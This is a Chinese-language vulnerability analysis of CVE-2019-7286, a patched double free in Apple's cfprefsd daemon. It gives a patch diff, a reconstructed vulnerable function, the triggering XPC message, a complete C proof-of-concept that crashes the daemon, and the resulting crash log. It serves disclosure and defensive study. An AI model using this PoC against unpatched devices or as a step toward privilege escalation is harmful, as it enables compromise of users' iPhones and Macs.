iOS/OSX漏洞分析和再现：CVE20197286

iOS 12.1.4是2019年2月8日发布的iOS的最新版本。该版本修补了iOS上发现的四个漏洞。根据Project Zero的Ben Hawkes的推文，其中至少有两个0day还是处于在野状态……

• CVE-2019-7286在野外被开发利用
• 该漏洞似乎具有严重的严重性，并且可能在重新启动后也可能用于维持持久性
• ZecOps能够重现此漏洞（下面的POC代码）
• 该漏洞可用于将权限升级为root，作为iOS 12.1.3上越狱链的一部分。

分析CVE-2019-7286

根据Apple的描述：

基础
适用于：iPhone 5s及更高版本，iPad Air及更高版本以及iPod touch第6代
影响：应用程序可能获得提升的权限
说明：通过改进的输入验证解决了内存损坏问题。
CVE-2019-7286：匿名研究员，Google威胁分析组的Clement Lecigne，Google Project Zero的Ian Beer和Google Project Zero的SamuelGroß

除了在Apple的Foundation框架中修补漏洞这一事实外，该描述并未向我们提供有关漏洞性质的大量详细信息。

在分析Foundation框架中的补丁后，二进制差异显示iOS 12.1.4的二进制文件与iOS 12.1.3相比没有显着变化。下一个直接的嫌疑人是CoreFoundation，它显示了Diaphora工具中的一些二进制差异，如下所示：

通过比较补丁，我们发现CFPrefs守护进程（cfprefsd）的实现有一些细微的变化。

此守护程序的手册页不太具描述性：

cfprefsd为CFPreferences和
NSUserDefaults API 提供首选项服务。手动
没有cfprefsd的配置选项。

几乎所有iOS / OS X上的软件都会在启动时使用CFPreferences选项，因此该守护程序中的漏洞可能对维护持久性也很有用。令人惊讶的是，目前还没有关于此CVE的公开信息，正如人们所期望的那样，这个漏洞在野外被积极利用。

补丁分析

OS X上也存在同样的错误，这有助于ZecOps的调查和分析。在修补程序时，对cfprefsd引入了一些小的更改，但似乎最重要的修改是在以下函数中进行的： 

[CFPrefsDaemon handleMultiMessage：replyHandler：]

下面是一段ZecOps试图重建原始的Obj-C代码以及补丁（粗体）：

@implementation CFPrefsDaemon
-(void)handleMultiMessage:(xpc_object_t)xpc_dict replyHandler:(Callback)replyHandler
{
  // ...
  CFPrefMessagesArr = xpc_dictionary_get_value(xpc_dict, "CFPreferencesMessages");
  // ...
  xpc_array_count = xpc_array_get_count(CFPrefMessagesArr);
  xpc_buffer = (__int64*)__CFAllocateObjectArray(xpc_array_count);
  //...
  for( counter = 0; xpc_array_count != counter; counter++)
  {
    xpc_buffer[counter] = xpc_array_get_value(CFPrefMessagesArr, counter); // This method does not grant the caller a reference to the underlying object, and thus the caller is not responsible for releasing the object.
  }
  for( counter = 0; xpc_array_count != loop_counter ; counter++)
  {
    xpc_element = xpc_buffer[counter];
    xpc_buffer[counter] = 0;           //patch fix
    if ( xpc_get_type(xpc_element) == &_xpc_type_dictionary )
    {
      [self handleMessage_fromPeer_replyHandler: xpc_element fromPeer: xpc_connection replyHandler:^{
          if (xpc_element) // patch fix
        {
            xpc_object_t result = xpc_retain(xpc_element); 
            xpc_buffer[counter] = result;  
          }              
        }]; 
    }
    if ( !xpc_buffer[counter] )                //patch fix
      xpc_buffer[counter] = xpc_null_create(); //patch fix
  }
  //...
  array_from_xpc_buffer = xpc_array_create(xpc_buffer, xpc_array_count);
  xpc_dictionary_set_value(dict_response, "CFPreferencesMessages", array_from_xpc_buffer);
  xpc_release(array_from_xpc_buffer); 
  for( counter = 0; xpc_array_count != counter ; counter++)
  {
    current_element = xpc_buffer[counter];
    if (xpc_get_type(current_element) != &_xpc_type_null )
        xpc_release(current_element); // first free. Double free will occur when the array CFPrefMessagesArr will be released.
  }
  // ...
}

漏洞详细信息

handleMultiMessage：replyHandler：使用“ CFPreferencesMessages ”数组引用计数问题，该数组是xpc请求的一部分。

该函数使用xpc_array_get_value逐个将数组的对象读入内存缓冲区，这不会影响引用计数。释放缓冲区中所有元素的函数的最后一部分假定xpc对象具有所有权。这通常是真实的，因为回调块调用xpc_retain并在替换原来的对象xpc_buffer。但是，如果由于精心制作的消息而未调用回调（消息正文包含消息的处理程序索引。并非所有处理程序都调用回调），则会发生双重释放。

具有以下键和值的XPC将触发此漏洞：

poc_dict = {
  "CFPreferencesOperation" = 5,
  "CFPreferencesMessages" = [
    {
     "CFPreferencesOperation": 4    
    }
  ]
}

如果回调没有更新xpc_buffer [count]， Apple的补丁用xpc_null替换了原始的XPC对象。因此，当xpc_null没有要释放的内存时，没有双重释放条件。

漏洞复制

我们能够使用下面的POC代码片段重现CVE-2019-7286：

#include <xpc/xpc.h>;

int main(int argc, const char * argv[]) {

  xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.cfprefsd.daemon",0,XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
  xpc_connection_set_event_handler(conn, ^(xpc_object_t t) {
    printf("got message: %sn", xpc_copy_description(t));
  });

  xpc_connection_resume(conn);

  xpc_object_t hello = xpc_dictionary_create(NULL, NULL, 0);
  xpc_dictionary_set_int64(hello, "CFPreferencesOperation", 5);

  xpc_object_t arr = xpc_array_create(NULL, 0);
  xpc_object_t arr_elem1 = xpc_dictionary_create(NULL, NULL, 0);
  xpc_dictionary_set_int64(arr_elem1, "CFPreferencesOperation", 4);

  xpc_array_append_value(arr, arr_elem1);
  xpc_dictionary_set_value(hello, "CFPreferencesMessages", arr);
  xpc_connection_send_message(conn, hello);
  xpc_release(hello);
  return 0;
}

在iOS 12.0.1上运行上述程序导致cfprefsd崩溃：

Thread 6 name:  Dispatch queue: Serving PID 7210
Thread 6 Crashed:
0   libobjc.A.dylib          0x21acd6b00  objc_object::release+ 16 
1   libxpc.dylib             0x21b73bbc0  _xpc_array_dispose + 40 
2   libxpc.dylib             0x21b73a584  _xpc_dispose + 156          
3   libxpc.dylib             0x21b7449fc  _xpc_dictionary_dispose + 204                   
4   libxpc.dylib             0x21b73a584  _xpc_dispose + 156 
5   libxpc.dylib             0x21b742418  _xpc_connection_mach_event + 872 
6   libdispatch.dylib        0x21b528544  _dispatch_client_callout4 + 16 
7   libdispatch.dylib        0x21b4df068  _dispatch_mach_msg_invoke + 340 
8   libdispatch.dylib        0x21b4cfae4  _dispatch_lane_serial_drain + 284 
9   libdispatch.dylib        0x21b4dfc3c  _dispatch_mach_invoke + 476 
10  libdispatch.dylib        0x21b4cfae4  _dispatch_lane_serial_drain + 284 
11  libdispatch.dylib        0x21b4d0760  _dispatch_lane_invoke + 432 
12  libdispatch.dylib        0x21b4d8f00  _dispatch_workloop_worker_thread + 600 
13  libsystem_pthread.dylib  0x21b70a0f0  _pthread_wqthread + 312 
14  libsystem_pthread.dylib  0x21b70cd00  start_wqthread + 4 

建议

• 更新到最新的OS X和iOS版本。
• 偶尔重启iPhone / iPad（例如每天一次）以从脱离非持久性攻击。